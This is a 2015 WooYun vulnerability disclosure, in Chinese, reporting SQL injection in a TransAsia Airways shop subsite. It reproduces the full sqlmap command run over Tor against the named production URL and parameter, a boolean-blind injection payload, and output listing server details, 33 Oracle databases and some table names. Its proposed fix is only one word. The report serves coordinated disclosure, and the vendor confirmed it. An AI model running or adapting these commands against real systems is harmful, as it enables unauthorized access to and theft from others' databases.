当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0119400

漏洞标题：台湾复兴航空某分站SQL注入

相关厂商：Hitcon台湾互联网漏洞报告平台

漏洞作者： 路人甲

提交时间：2015-06-11 11:37

修复时间：2015-07-30 10:34

公开时间：2015-07-30 10:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：17

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-11： 细节已通知厂商并且等待厂商处理中
2015-06-15： 厂商已经确认，细节仅向厂商公开
2015-06-25： 细节向核心白帽子及相关领域专家公开
2015-07-05： 细节向普通白帽子公开
2015-07-15： 细节向实习白帽子公开
2015-07-30： 细节向公众公开

简要描述：

台湾复兴航空某分站SQL注入

详细说明：

./sqlmap.py --tor --tor-type=SOCKS5 --random-agent --time-sec=20 --threads 2 -u "https://legendshop.tna.com.tw/web/MZPdBrand.aspx" --data="brandcd=00013" --dbms=oracle --dbs --is-dba
---
Parameter: brandcd (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: brandcd=00013' AND 5489=5489 AND 'HPqY'='HPqY
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
current user is DBA:    False

漏洞证明：

available databases [33]:
[*] AION
[*] ANNAN
[*] APPQOSSYS
[*] BGFIS
[*] CICOS
[*] CMS
[*] DBSNMP
[*] DOMAS
[*] ETLIFT
[*] FFP
[*] FLOWS_030000
[*] FLOWS_FILES
[*] HBS
[*] MMDBA
[*] MSM
[*] MZ00
[*] OA00
[*] OC00
[*] OLAPSYS
[*] OUTLN
[*] RAS
[*] SCOTT
[*] SHOP
[*] SYS
[*] SYSTEM
[*] TMS
[*] TSMSYS
[*] VIP
[*] WAP
[*] WK_TEST
[*] WKSYS
[*] WMSYS
[*] XDB
-D MZ00 --tables
[14:45:32] [INFO] fetching tables for database: 'MZ00'
[14:45:32] [INFO] fetching number of tables for database 'MZ00'
[14:45:32] [INFO] retrieved: 464  ==>MZ00库有464个表
[14:46:23] [INFO] retrieving the length of query output
[14:46:23] [INFO] retrieved: 15
[14:51:30] [INFO] retrieved: PIERCE_MZ79_XXX
[14:51:30] [INFO] retrieving the length of query output
[14:51:30] [INFO] retrieved: 9
[14:54:57] [INFO] retrieved: MZ62_HIST
[14:54:57] [INFO] retrieving the length of query output
[14:54:57] [INFO] retrieved: 9
[14:58:20] [INFO] retrieved: MZ67_HIST
[14:58:20] [INFO] retrieving the length of query output
[14:58:20] [INFO] retrieved: 15
[15:04:07] [INFO] retrieved: MZ79BK_20130710
[15:04:07] [INFO] retrieving the length of query output
[15:04:07] [INFO] retrieved: 15
[15:05:06] [INFO] retrieved: ^C_____________  ===>不继续了

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-06-15 10:32

厂商回复：

感謝通報

最新状态：

暂无